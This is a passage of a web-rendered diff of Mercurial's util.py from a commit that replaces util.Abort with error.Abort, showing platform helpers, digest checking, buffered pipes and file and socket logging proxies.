##// END OF EJS Templates
util: drop util.Abort in favor of error.Abort (API)...
Yuya Nishihara -
r37116:a9ea2b1e default
parent child Browse files
Show More
@@ -1,4094 +1,4092
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import, print_function
17 17
18 18 import abc
19 19 import bz2
20 20 import collections
21 21 import contextlib
22 22 import errno
23 23 import gc
24 24 import hashlib
25 25 import imp
26 26 import io
27 27 import itertools
28 28 import mmap
29 29 import os
30 30 import platform as pyplatform
31 31 import re as remod
32 32 import shutil
33 33 import signal
34 34 import socket
35 35 import stat
36 36 import subprocess
37 37 import sys
38 38 import tempfile
39 39 import time
40 40 import traceback
41 41 import warnings
42 42 import zlib
43 43
44 44 from . import (
45 45 encoding,
46 46 error,
47 47 i18n,
48 48 node as nodemod,
49 49 policy,
50 50 pycompat,
51 51 urllibcompat,
52 52 )
53 53 from .utils import (
54 54 dateutil,
55 55 stringutil,
56 56 )
57 57
58 58 base85 = policy.importmod(r'base85')
59 59 osutil = policy.importmod(r'osutil')
60 60 parsers = policy.importmod(r'parsers')
61 61
62 62 b85decode = base85.b85decode
63 63 b85encode = base85.b85encode
64 64
65 65 cookielib = pycompat.cookielib
66 66 empty = pycompat.empty
67 67 httplib = pycompat.httplib
68 68 pickle = pycompat.pickle
69 69 queue = pycompat.queue
70 70 socketserver = pycompat.socketserver
71 71 stderr = pycompat.stderr
72 72 stdin = pycompat.stdin
73 73 stdout = pycompat.stdout
74 74 bytesio = pycompat.bytesio
75 75 # TODO deprecate stringio name, as it is a lie on Python 3.
76 76 stringio = bytesio
77 77 xmlrpclib = pycompat.xmlrpclib
78 78
79 79 httpserver = urllibcompat.httpserver
80 80 urlerr = urllibcompat.urlerr
81 81 urlreq = urllibcompat.urlreq
82 82
83 83 # workaround for win32mbcs
84 84 _filenamebytestr = pycompat.bytestr
85 85
86 86 def isatty(fp):
87 87 try:
88 88 return fp.isatty()
89 89 except AttributeError:
90 90 return False
91 91
92 92 # glibc determines buffering on first write to stdout - if we replace a TTY
93 93 # destined stdout with a pipe destined stdout (e.g. pager), we want line
94 94 # buffering
95 95 if isatty(stdout):
96 96 stdout = os.fdopen(stdout.fileno(), r'wb', 1)
97 97
98 98 if pycompat.iswindows:
99 99 from . import windows as platform
100 100 stdout = platform.winstdout(stdout)
101 101 else:
102 102 from . import posix as platform
103 103
104 104 _ = i18n._
105 105
106 106 bindunixsocket = platform.bindunixsocket
107 107 cachestat = platform.cachestat
108 108 checkexec = platform.checkexec
109 109 checklink = platform.checklink
110 110 copymode = platform.copymode
111 111 expandglobs = platform.expandglobs
112 112 explainexit = platform.explainexit
113 113 findexe = platform.findexe
114 114 getfsmountpoint = platform.getfsmountpoint
115 115 getfstype = platform.getfstype
116 116 gethgcmd = platform.gethgcmd
117 117 getuser = platform.getuser
118 118 getpid = os.getpid
119 119 groupmembers = platform.groupmembers
120 120 groupname = platform.groupname
121 121 hidewindow = platform.hidewindow
122 122 isexec = platform.isexec
123 123 isowner = platform.isowner
124 124 listdir = osutil.listdir
125 125 localpath = platform.localpath
126 126 lookupreg = platform.lookupreg
127 127 makedir = platform.makedir
128 128 nlinks = platform.nlinks
129 129 normpath = platform.normpath
130 130 normcase = platform.normcase
131 131 normcasespec = platform.normcasespec
132 132 normcasefallback = platform.normcasefallback
133 133 openhardlinks = platform.openhardlinks
134 134 oslink = platform.oslink
135 135 parsepatchoutput = platform.parsepatchoutput
136 136 pconvert = platform.pconvert
137 137 poll = platform.poll
138 138 popen = platform.popen
139 139 posixfile = platform.posixfile
140 140 quotecommand = platform.quotecommand
141 141 readpipe = platform.readpipe
142 142 rename = platform.rename
143 143 removedirs = platform.removedirs
144 144 samedevice = platform.samedevice
145 145 samefile = platform.samefile
146 146 samestat = platform.samestat
147 147 setbinary = platform.setbinary
148 148 setflags = platform.setflags
149 149 setsignalhandler = platform.setsignalhandler
150 150 shellquote = platform.shellquote
151 151 shellsplit = platform.shellsplit
152 152 spawndetached = platform.spawndetached
153 153 split = platform.split
154 154 sshargs = platform.sshargs
155 155 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
156 156 statisexec = platform.statisexec
157 157 statislink = platform.statislink
158 158 testpid = platform.testpid
159 159 umask = platform.umask
160 160 unlink = platform.unlink
161 161 username = platform.username
162 162
163 163 try:
164 164 recvfds = osutil.recvfds
165 165 except AttributeError:
166 166 pass
167 167 try:
168 168 setprocname = osutil.setprocname
169 169 except AttributeError:
170 170 pass
171 171 try:
172 172 unblocksignal = osutil.unblocksignal
173 173 except AttributeError:
174 174 pass
175 175
176 176 # Python compatibility
177 177
178 178 _notset = object()
179 179
180 180 def safehasattr(thing, attr):
181 181 return getattr(thing, attr, _notset) is not _notset
182 182
183 183 def _rapply(f, xs):
184 184 if xs is None:
185 185 # assume None means non-value of optional data
186 186 return xs
187 187 if isinstance(xs, (list, set, tuple)):
188 188 return type(xs)(_rapply(f, x) for x in xs)
189 189 if isinstance(xs, dict):
190 190 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
191 191 return f(xs)
192 192
193 193 def rapply(f, xs):
194 194 """Apply function recursively to every item preserving the data structure
195 195
196 196 >>> def f(x):
197 197 ... return 'f(%s)' % x
198 198 >>> rapply(f, None) is None
199 199 True
200 200 >>> rapply(f, 'a')
201 201 'f(a)'
202 202 >>> rapply(f, {'a'}) == {'f(a)'}
203 203 True
204 204 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
205 205 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
206 206
207 207 >>> xs = [object()]
208 208 >>> rapply(pycompat.identity, xs) is xs
209 209 True
210 210 """
211 211 if f is pycompat.identity:
212 212 # fast path mainly for py2
213 213 return xs
214 214 return _rapply(f, xs)
215 215
216 216 def bitsfrom(container):
217 217 bits = 0
218 218 for bit in container:
219 219 bits |= bit
220 220 return bits
221 221
222 222 # python 2.6 still have deprecation warning enabled by default. We do not want
223 223 # to display anything to standard user so detect if we are running test and
224 224 # only use python deprecation warning in this case.
225 225 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
226 226 if _dowarn:
227 227 # explicitly unfilter our warning for python 2.7
228 228 #
229 229 # The option of setting PYTHONWARNINGS in the test runner was investigated.
230 230 # However, module name set through PYTHONWARNINGS was exactly matched, so
231 231 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
232 232 # makes the whole PYTHONWARNINGS thing useless for our usecase.
233 233 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
234 234 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
235 235 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
236 236 if _dowarn and pycompat.ispy3:
237 237 # silence warning emitted by passing user string to re.sub()
238 238 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
239 239 r'mercurial')
240 240 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
241 241 DeprecationWarning, r'mercurial')
242 242
243 243 def nouideprecwarn(msg, version, stacklevel=1):
244 244 """Issue an python native deprecation warning
245 245
246 246 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
247 247 """
248 248 if _dowarn:
249 249 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
250 250 " update your code.)") % version
251 251 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
252 252
253 253 DIGESTS = {
254 254 'md5': hashlib.md5,
255 255 'sha1': hashlib.sha1,
256 256 'sha512': hashlib.sha512,
257 257 }
258 258 # List of digest types from strongest to weakest
259 259 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
260 260
261 261 for k in DIGESTS_BY_STRENGTH:
262 262 assert k in DIGESTS
263 263
264 264 class digester(object):
265 265 """helper to compute digests.
266 266
267 267 This helper can be used to compute one or more digests given their name.
268 268
269 269 >>> d = digester([b'md5', b'sha1'])
270 270 >>> d.update(b'foo')
271 271 >>> [k for k in sorted(d)]
272 272 ['md5', 'sha1']
273 273 >>> d[b'md5']
274 274 'acbd18db4cc2f85cedef654fccc4a4d8'
275 275 >>> d[b'sha1']
276 276 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
277 277 >>> digester.preferred([b'md5', b'sha1'])
278 278 'sha1'
279 279 """
280 280
281 281 def __init__(self, digests, s=''):
282 282 self._hashes = {}
283 283 for k in digests:
284 284 if k not in DIGESTS:
285 285 raise error.Abort(_('unknown digest type: %s') % k)
286 286 self._hashes[k] = DIGESTS[k]()
287 287 if s:
288 288 self.update(s)
289 289
290 290 def update(self, data):
291 291 for h in self._hashes.values():
292 292 h.update(data)
293 293
294 294 def __getitem__(self, key):
295 295 if key not in DIGESTS:
296 296 raise error.Abort(_('unknown digest type: %s') % k)
297 297 return nodemod.hex(self._hashes[key].digest())
298 298
299 299 def __iter__(self):
300 300 return iter(self._hashes)
301 301
302 302 @staticmethod
303 303 def preferred(supported):
304 304 """returns the strongest digest type in both supported and DIGESTS."""
305 305
306 306 for k in DIGESTS_BY_STRENGTH:
307 307 if k in supported:
308 308 return k
309 309 return None
310 310
311 311 class digestchecker(object):
312 312 """file handle wrapper that additionally checks content against a given
313 313 size and digests.
314 314
315 315 d = digestchecker(fh, size, {'md5': '...'})
316 316
317 317 When multiple digests are given, all of them are validated.
318 318 """
319 319
320 320 def __init__(self, fh, size, digests):
321 321 self._fh = fh
322 322 self._size = size
323 323 self._got = 0
324 324 self._digests = dict(digests)
325 325 self._digester = digester(self._digests.keys())
326 326
327 327 def read(self, length=-1):
328 328 content = self._fh.read(length)
329 329 self._digester.update(content)
330 330 self._got += len(content)
331 331 return content
332 332
333 333 def validate(self):
334 334 if self._size != self._got:
335 335 raise error.Abort(_('size mismatch: expected %d, got %d') %
336 336 (self._size, self._got))
337 337 for k, v in self._digests.items():
338 338 if v != self._digester[k]:
339 339 # i18n: first parameter is a digest name
340 340 raise error.Abort(_('%s mismatch: expected %s, got %s') %
341 341 (k, v, self._digester[k]))
342 342
343 343 try:
344 344 buffer = buffer
345 345 except NameError:
346 346 def buffer(sliceable, offset=0, length=None):
347 347 if length is not None:
348 348 return memoryview(sliceable)[offset:offset + length]
349 349 return memoryview(sliceable)[offset:]
350 350
351 351 closefds = pycompat.isposix
352 352
353 353 _chunksize = 4096
354 354
355 355 class bufferedinputpipe(object):
356 356 """a manually buffered input pipe
357 357
358 358 Python will not let us use buffered IO and lazy reading with 'polling' at
359 359 the same time. We cannot probe the buffer state and select will not detect
360 360 that data are ready to read if they are already buffered.
361 361
362 362 This class let us work around that by implementing its own buffering
363 363 (allowing efficient readline) while offering a way to know if the buffer is
364 364 empty from the output (allowing collaboration of the buffer with polling).
365 365
366 366 This class lives in the 'util' module because it makes use of the 'os'
367 367 module from the python stdlib.
368 368 """
369 369 def __new__(cls, fh):
370 370 # If we receive a fileobjectproxy, we need to use a variation of this
371 371 # class that notifies observers about activity.
372 372 if isinstance(fh, fileobjectproxy):
373 373 cls = observedbufferedinputpipe
374 374
375 375 return super(bufferedinputpipe, cls).__new__(cls)
376 376
377 377 def __init__(self, input):
378 378 self._input = input
379 379 self._buffer = []
380 380 self._eof = False
381 381 self._lenbuf = 0
382 382
383 383 @property
384 384 def hasbuffer(self):
385 385 """True is any data is currently buffered
386 386
387 387 This will be used externally a pre-step for polling IO. If there is
388 388 already data then no polling should be set in place."""
389 389 return bool(self._buffer)
390 390
391 391 @property
392 392 def closed(self):
393 393 return self._input.closed
394 394
395 395 def fileno(self):
396 396 return self._input.fileno()
397 397
398 398 def close(self):
399 399 return self._input.close()
400 400
401 401 def read(self, size):
402 402 while (not self._eof) and (self._lenbuf < size):
403 403 self._fillbuffer()
404 404 return self._frombuffer(size)
405 405
406 406 def readline(self, *args, **kwargs):
407 407 if 1 < len(self._buffer):
408 408 # this should not happen because both read and readline end with a
409 409 # _frombuffer call that collapse it.
410 410 self._buffer = [''.join(self._buffer)]
411 411 self._lenbuf = len(self._buffer[0])
412 412 lfi = -1
413 413 if self._buffer:
414 414 lfi = self._buffer[-1].find('\n')
415 415 while (not self._eof) and lfi < 0:
416 416 self._fillbuffer()
417 417 if self._buffer:
418 418 lfi = self._buffer[-1].find('\n')
419 419 size = lfi + 1
420 420 if lfi < 0: # end of file
421 421 size = self._lenbuf
422 422 elif 1 < len(self._buffer):
423 423 # we need to take previous chunks into account
424 424 size += self._lenbuf - len(self._buffer[-1])
425 425 return self._frombuffer(size)
426 426
427 427 def _frombuffer(self, size):
428 428 """return at most 'size' data from the buffer
429 429
430 430 The data are removed from the buffer."""
431 431 if size == 0 or not self._buffer:
432 432 return ''
433 433 buf = self._buffer[0]
434 434 if 1 < len(self._buffer):
435 435 buf = ''.join(self._buffer)
436 436
437 437 data = buf[:size]
438 438 buf = buf[len(data):]
439 439 if buf:
440 440 self._buffer = [buf]
441 441 self._lenbuf = len(buf)
442 442 else:
443 443 self._buffer = []
444 444 self._lenbuf = 0
445 445 return data
446 446
447 447 def _fillbuffer(self):
448 448 """read data to the buffer"""
449 449 data = os.read(self._input.fileno(), _chunksize)
450 450 if not data:
451 451 self._eof = True
452 452 else:
453 453 self._lenbuf += len(data)
454 454 self._buffer.append(data)
455 455
456 456 return data
457 457
458 458 def mmapread(fp):
459 459 try:
460 460 fd = getattr(fp, 'fileno', lambda: fp)()
461 461 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
462 462 except ValueError:
463 463 # Empty files cannot be mmapped, but mmapread should still work. Check
464 464 # if the file is empty, and if so, return an empty buffer.
465 465 if os.fstat(fd).st_size == 0:
466 466 return ''
467 467 raise
468 468
469 469 def popen2(cmd, env=None, newlines=False):
470 470 # Setting bufsize to -1 lets the system decide the buffer size.
471 471 # The default for bufsize is 0, meaning unbuffered. This leads to
472 472 # poor performance on Mac OS X: http://bugs.python.org/issue4194
473 473 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
474 474 close_fds=closefds,
475 475 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
476 476 universal_newlines=newlines,
477 477 env=env)
478 478 return p.stdin, p.stdout
479 479
480 480 def popen3(cmd, env=None, newlines=False):
481 481 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
482 482 return stdin, stdout, stderr
483 483
484 484 def popen4(cmd, env=None, newlines=False, bufsize=-1):
485 485 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
486 486 close_fds=closefds,
487 487 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
488 488 stderr=subprocess.PIPE,
489 489 universal_newlines=newlines,
490 490 env=env)
491 491 return p.stdin, p.stdout, p.stderr, p
492 492
493 493 class fileobjectproxy(object):
494 494 """A proxy around file objects that tells a watcher when events occur.
495 495
496 496 This type is intended to only be used for testing purposes. Think hard
497 497 before using it in important code.
498 498 """
499 499 __slots__ = (
500 500 r'_orig',
501 501 r'_observer',
502 502 )
503 503
504 504 def __init__(self, fh, observer):
505 505 object.__setattr__(self, r'_orig', fh)
506 506 object.__setattr__(self, r'_observer', observer)
507 507
508 508 def __getattribute__(self, name):
509 509 ours = {
510 510 r'_observer',
511 511
512 512 # IOBase
513 513 r'close',
514 514 # closed if a property
515 515 r'fileno',
516 516 r'flush',
517 517 r'isatty',
518 518 r'readable',
519 519 r'readline',
520 520 r'readlines',
521 521 r'seek',
522 522 r'seekable',
523 523 r'tell',
524 524 r'truncate',
525 525 r'writable',
526 526 r'writelines',
527 527 # RawIOBase
528 528 r'read',
529 529 r'readall',
530 530 r'readinto',
531 531 r'write',
532 532 # BufferedIOBase
533 533 # raw is a property
534 534 r'detach',
535 535 # read defined above
536 536 r'read1',
537 537 # readinto defined above
538 538 # write defined above
539 539 }
540 540
541 541 # We only observe some methods.
542 542 if name in ours:
543 543 return object.__getattribute__(self, name)
544 544
545 545 return getattr(object.__getattribute__(self, r'_orig'), name)
546 546
547 547 def __nonzero__(self):
548 548 return bool(object.__getattribute__(self, r'_orig'))
549 549
550 550 __bool__ = __nonzero__
551 551
552 552 def __delattr__(self, name):
553 553 return delattr(object.__getattribute__(self, r'_orig'), name)
554 554
555 555 def __setattr__(self, name, value):
556 556 return setattr(object.__getattribute__(self, r'_orig'), name, value)
557 557
558 558 def __iter__(self):
559 559 return object.__getattribute__(self, r'_orig').__iter__()
560 560
561 561 def _observedcall(self, name, *args, **kwargs):
562 562 # Call the original object.
563 563 orig = object.__getattribute__(self, r'_orig')
564 564 res = getattr(orig, name)(*args, **kwargs)
565 565
566 566 # Call a method on the observer of the same name with arguments
567 567 # so it can react, log, etc.
568 568 observer = object.__getattribute__(self, r'_observer')
569 569 fn = getattr(observer, name, None)
570 570 if fn:
571 571 fn(res, *args, **kwargs)
572 572
573 573 return res
574 574
575 575 def close(self, *args, **kwargs):
576 576 return object.__getattribute__(self, r'_observedcall')(
577 577 r'close', *args, **kwargs)
578 578
579 579 def fileno(self, *args, **kwargs):
580 580 return object.__getattribute__(self, r'_observedcall')(
581 581 r'fileno', *args, **kwargs)
582 582
583 583 def flush(self, *args, **kwargs):
584 584 return object.__getattribute__(self, r'_observedcall')(
585 585 r'flush', *args, **kwargs)
586 586
587 587 def isatty(self, *args, **kwargs):
588 588 return object.__getattribute__(self, r'_observedcall')(
589 589 r'isatty', *args, **kwargs)
590 590
591 591 def readable(self, *args, **kwargs):
592 592 return object.__getattribute__(self, r'_observedcall')(
593 593 r'readable', *args, **kwargs)
594 594
595 595 def readline(self, *args, **kwargs):
596 596 return object.__getattribute__(self, r'_observedcall')(
597 597 r'readline', *args, **kwargs)
598 598
599 599 def readlines(self, *args, **kwargs):
600 600 return object.__getattribute__(self, r'_observedcall')(
601 601 r'readlines', *args, **kwargs)
602 602
603 603 def seek(self, *args, **kwargs):
604 604 return object.__getattribute__(self, r'_observedcall')(
605 605 r'seek', *args, **kwargs)
606 606
607 607 def seekable(self, *args, **kwargs):
608 608 return object.__getattribute__(self, r'_observedcall')(
609 609 r'seekable', *args, **kwargs)
610 610
611 611 def tell(self, *args, **kwargs):
612 612 return object.__getattribute__(self, r'_observedcall')(
613 613 r'tell', *args, **kwargs)
614 614
615 615 def truncate(self, *args, **kwargs):
616 616 return object.__getattribute__(self, r'_observedcall')(
617 617 r'truncate', *args, **kwargs)
618 618
619 619 def writable(self, *args, **kwargs):
620 620 return object.__getattribute__(self, r'_observedcall')(
621 621 r'writable', *args, **kwargs)
622 622
623 623 def writelines(self, *args, **kwargs):
624 624 return object.__getattribute__(self, r'_observedcall')(
625 625 r'writelines', *args, **kwargs)
626 626
627 627 def read(self, *args, **kwargs):
628 628 return object.__getattribute__(self, r'_observedcall')(
629 629 r'read', *args, **kwargs)
630 630
631 631 def readall(self, *args, **kwargs):
632 632 return object.__getattribute__(self, r'_observedcall')(
633 633 r'readall', *args, **kwargs)
634 634
635 635 def readinto(self, *args, **kwargs):
636 636 return object.__getattribute__(self, r'_observedcall')(
637 637 r'readinto', *args, **kwargs)
638 638
639 639 def write(self, *args, **kwargs):
640 640 return object.__getattribute__(self, r'_observedcall')(
641 641 r'write', *args, **kwargs)
642 642
643 643 def detach(self, *args, **kwargs):
644 644 return object.__getattribute__(self, r'_observedcall')(
645 645 r'detach', *args, **kwargs)
646 646
647 647 def read1(self, *args, **kwargs):
648 648 return object.__getattribute__(self, r'_observedcall')(
649 649 r'read1', *args, **kwargs)
650 650
651 651 class observedbufferedinputpipe(bufferedinputpipe):
652 652 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
653 653
654 654 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
655 655 bypass ``fileobjectproxy``. Because of this, we need to make
656 656 ``bufferedinputpipe`` aware of these operations.
657 657
658 658 This variation of ``bufferedinputpipe`` can notify observers about
659 659 ``os.read()`` events. It also re-publishes other events, such as
660 660 ``read()`` and ``readline()``.
661 661 """
662 662 def _fillbuffer(self):
663 663 res = super(observedbufferedinputpipe, self)._fillbuffer()
664 664
665 665 fn = getattr(self._input._observer, r'osread', None)
666 666 if fn:
667 667 fn(res, _chunksize)
668 668
669 669 return res
670 670
671 671 # We use different observer methods because the operation isn't
672 672 # performed on the actual file object but on us.
673 673 def read(self, size):
674 674 res = super(observedbufferedinputpipe, self).read(size)
675 675
676 676 fn = getattr(self._input._observer, r'bufferedread', None)
677 677 if fn:
678 678 fn(res, size)
679 679
680 680 return res
681 681
682 682 def readline(self, *args, **kwargs):
683 683 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
684 684
685 685 fn = getattr(self._input._observer, r'bufferedreadline', None)
686 686 if fn:
687 687 fn(res)
688 688
689 689 return res
690 690
691 691 PROXIED_SOCKET_METHODS = {
692 692 r'makefile',
693 693 r'recv',
694 694 r'recvfrom',
695 695 r'recvfrom_into',
696 696 r'recv_into',
697 697 r'send',
698 698 r'sendall',
699 699 r'sendto',
700 700 r'setblocking',
701 701 r'settimeout',
702 702 r'gettimeout',
703 703 r'setsockopt',
704 704 }
705 705
706 706 class socketproxy(object):
707 707 """A proxy around a socket that tells a watcher when events occur.
708 708
709 709 This is like ``fileobjectproxy`` except for sockets.
710 710
711 711 This type is intended to only be used for testing purposes. Think hard
712 712 before using it in important code.
713 713 """
714 714 __slots__ = (
715 715 r'_orig',
716 716 r'_observer',
717 717 )
718 718
719 719 def __init__(self, sock, observer):
720 720 object.__setattr__(self, r'_orig', sock)
721 721 object.__setattr__(self, r'_observer', observer)
722 722
723 723 def __getattribute__(self, name):
724 724 if name in PROXIED_SOCKET_METHODS:
725 725 return object.__getattribute__(self, name)
726 726
727 727 return getattr(object.__getattribute__(self, r'_orig'), name)
728 728
729 729 def __delattr__(self, name):
730 730 return delattr(object.__getattribute__(self, r'_orig'), name)
731 731
732 732 def __setattr__(self, name, value):
733 733 return setattr(object.__getattribute__(self, r'_orig'), name, value)
734 734
735 735 def __nonzero__(self):
736 736 return bool(object.__getattribute__(self, r'_orig'))
737 737
738 738 __bool__ = __nonzero__
739 739
740 740 def _observedcall(self, name, *args, **kwargs):
741 741 # Call the original object.
742 742 orig = object.__getattribute__(self, r'_orig')
743 743 res = getattr(orig, name)(*args, **kwargs)
744 744
745 745 # Call a method on the observer of the same name with arguments
746 746 # so it can react, log, etc.
747 747 observer = object.__getattribute__(self, r'_observer')
748 748 fn = getattr(observer, name, None)
749 749 if fn:
750 750 fn(res, *args, **kwargs)
751 751
752 752 return res
753 753
754 754 def makefile(self, *args, **kwargs):
755 755 res = object.__getattribute__(self, r'_observedcall')(
756 756 r'makefile', *args, **kwargs)
757 757
758 758 # The file object may be used for I/O. So we turn it into a
759 759 # proxy using our observer.
760 760 observer = object.__getattribute__(self, r'_observer')
761 761 return makeloggingfileobject(observer.fh, res, observer.name,
762 762 reads=observer.reads,
763 763 writes=observer.writes,
764 764 logdata=observer.logdata,
765 765 logdataapis=observer.logdataapis)
766 766
767 767 def recv(self, *args, **kwargs):
768 768 return object.__getattribute__(self, r'_observedcall')(
769 769 r'recv', *args, **kwargs)
770 770
771 771 def recvfrom(self, *args, **kwargs):
772 772 return object.__getattribute__(self, r'_observedcall')(
773 773 r'recvfrom', *args, **kwargs)
774 774
775 775 def recvfrom_into(self, *args, **kwargs):
776 776 return object.__getattribute__(self, r'_observedcall')(
777 777 r'recvfrom_into', *args, **kwargs)
778 778
779 779 def recv_into(self, *args, **kwargs):
780 780 return object.__getattribute__(self, r'_observedcall')(
781 781 r'recv_info', *args, **kwargs)
782 782
783 783 def send(self, *args, **kwargs):
784 784 return object.__getattribute__(self, r'_observedcall')(
785 785 r'send', *args, **kwargs)
786 786
787 787 def sendall(self, *args, **kwargs):
788 788 return object.__getattribute__(self, r'_observedcall')(
789 789 r'sendall', *args, **kwargs)
790 790
791 791 def sendto(self, *args, **kwargs):
792 792 return object.__getattribute__(self, r'_observedcall')(
793 793 r'sendto', *args, **kwargs)
794 794
795 795 def setblocking(self, *args, **kwargs):
796 796 return object.__getattribute__(self, r'_observedcall')(
797 797 r'setblocking', *args, **kwargs)
798 798
799 799 def settimeout(self, *args, **kwargs):
800 800 return object.__getattribute__(self, r'_observedcall')(
801 801 r'settimeout', *args, **kwargs)
802 802
803 803 def gettimeout(self, *args, **kwargs):
804 804 return object.__getattribute__(self, r'_observedcall')(
805 805 r'gettimeout', *args, **kwargs)
806 806
807 807 def setsockopt(self, *args, **kwargs):
808 808 return object.__getattribute__(self, r'_observedcall')(
809 809 r'setsockopt', *args, **kwargs)
810 810
811 811 class baseproxyobserver(object):
812 812 def _writedata(self, data):
813 813 if not self.logdata:
814 814 if self.logdataapis:
815 815 self.fh.write('\n')
816 816 self.fh.flush()
817 817 return
818 818
819 819 # Simple case writes all data on a single line.
820 820 if b'\n' not in data:
821 821 if self.logdataapis:
822 822 self.fh.write(': %s\n' % stringutil.escapedata(data))
823 823 else:
824 824 self.fh.write('%s> %s\n'
825 825 % (self.name, stringutil.escapedata(data)))
826 826 self.fh.flush()
827 827 return
828 828
829 829 # Data with newlines is written to multiple lines.
830 830 if self.logdataapis:
831 831 self.fh.write(':\n')
832 832
833 833 lines = data.splitlines(True)
834 834 for line in lines:
835 835 self.fh.write('%s> %s\n'
836 836 % (self.name, stringutil.escapedata(line)))
837 837 self.fh.flush()
838 838
839 839 class fileobjectobserver(baseproxyobserver):
840 840 """Logs file object activity."""
841 841 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
842 842 logdataapis=True):
843 843 self.fh = fh
844 844 self.name = name
845 845 self.logdata = logdata
846 846 self.logdataapis = logdataapis
847 847 self.reads = reads
848 848 self.writes = writes
849 849
850 850 def read(self, res, size=-1):
851 851 if not self.reads:
852 852 return
853 853 # Python 3 can return None from reads at EOF instead of empty strings.
854 854 if res is None:
855 855 res = ''
856 856
857 857 if self.logdataapis:
858 858 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
859 859
860 860 self._writedata(res)
861 861
862 862 def readline(self, res, limit=-1):
863 863 if not self.reads:
864 864 return
865 865
866 866 if self.logdataapis:
867 867 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
868 868
869 869 self._writedata(res)
870 870
871 871 def readinto(self, res, dest):
872 872 if not self.reads:
873 873 return
874 874
875 875 if self.logdataapis:
876 876 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
877 877 res))
878 878
879 879 data = dest[0:res] if res is not None else b''
880 880 self._writedata(data)
881 881
882 882 def write(self, res, data):
883 883 if not self.writes:
884 884 return
885 885
886 886 # Python 2 returns None from some write() calls. Python 3 (reasonably)
887 887 # returns the integer bytes written.
888 888 if res is None and data:
889 889 res = len(data)
890 890
891 891 if self.logdataapis:
892 892 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
893 893
894 894 self._writedata(data)
895 895
896 896 def flush(self, res):
897 897 if not self.writes:
898 898 return
899 899
900 900 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
901 901
902 902 # For observedbufferedinputpipe.
903 903 def bufferedread(self, res, size):
904 904 if not self.reads:
905 905 return
906 906
907 907 if self.logdataapis:
908 908 self.fh.write('%s> bufferedread(%d) -> %d' % (
909 909 self.name, size, len(res)))
910 910
911 911 self._writedata(res)
912 912
913 913 def bufferedreadline(self, res):
914 914 if not self.reads:
915 915 return
916 916
917 917 if self.logdataapis:
918 918 self.fh.write('%s> bufferedreadline() -> %d' % (
919 919 self.name, len(res)))
920 920
921 921 self._writedata(res)
922 922
923 923 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
924 924 logdata=False, logdataapis=True):
925 925 """Turn a file object into a logging file object."""
926 926
927 927 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
928 928 logdata=logdata, logdataapis=logdataapis)
929 929 return fileobjectproxy(fh, observer)
930 930
931 931 class socketobserver(baseproxyobserver):
932 932 """Logs socket activity."""
933 933 def __init__(self, fh, name, reads=True, writes=True, states=True,
934 934 logdata=False, logdataapis=True):
935 935 self.fh = fh
936 936 self.name = name
937 937 self.reads = reads
938 938 self.writes = writes
939 939 self.states = states
940 940 self.logdata = logdata
941 941 self.logdataapis = logdataapis
942 942
943 943 def makefile(self, res, mode=None, bufsize=None):
944 944 if not self.states:
945 945 return
946 946
947 947 self.fh.write('%s> makefile(%r, %r)\n' % (
948 948 self.name, mode, bufsize))
949 949
950 950 def recv(self, res, size, flags=0):
951 951 if not self.reads:
952 952 return
953 953
954 954 if self.logdataapis:
955 955 self.fh.write('%s> recv(%d, %d) -> %d' % (
956 956 self.name, size, flags, len(res)))
957 957 self._writedata(res)
958 958
959 959 def recvfrom(self, res, size, flags=0):
960 960 if not self.reads:
961 961 return
962 962
963 963 if self.logdataapis:
964 964 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
965 965 self.name, size, flags, len(res[0])))
966 966
967 967 self._writedata(res[0])
968 968
969 969 def recvfrom_into(self, res, buf, size, flags=0):
970 970 if not self.reads:
971 971 return
972 972
973 973 if self.logdataapis:
974 974 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
975 975 self.name, size, flags, res[0]))
976 976
977 977 self._writedata(buf[0:res[0]])
978 978
979 979 def recv_into(self, res, buf, size=0, flags=0):
980 980 if not self.reads:
981 981 return
982 982
983 983 if self.logdataapis:
984 984 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
985 985 self.name, size, flags, res))
986 986
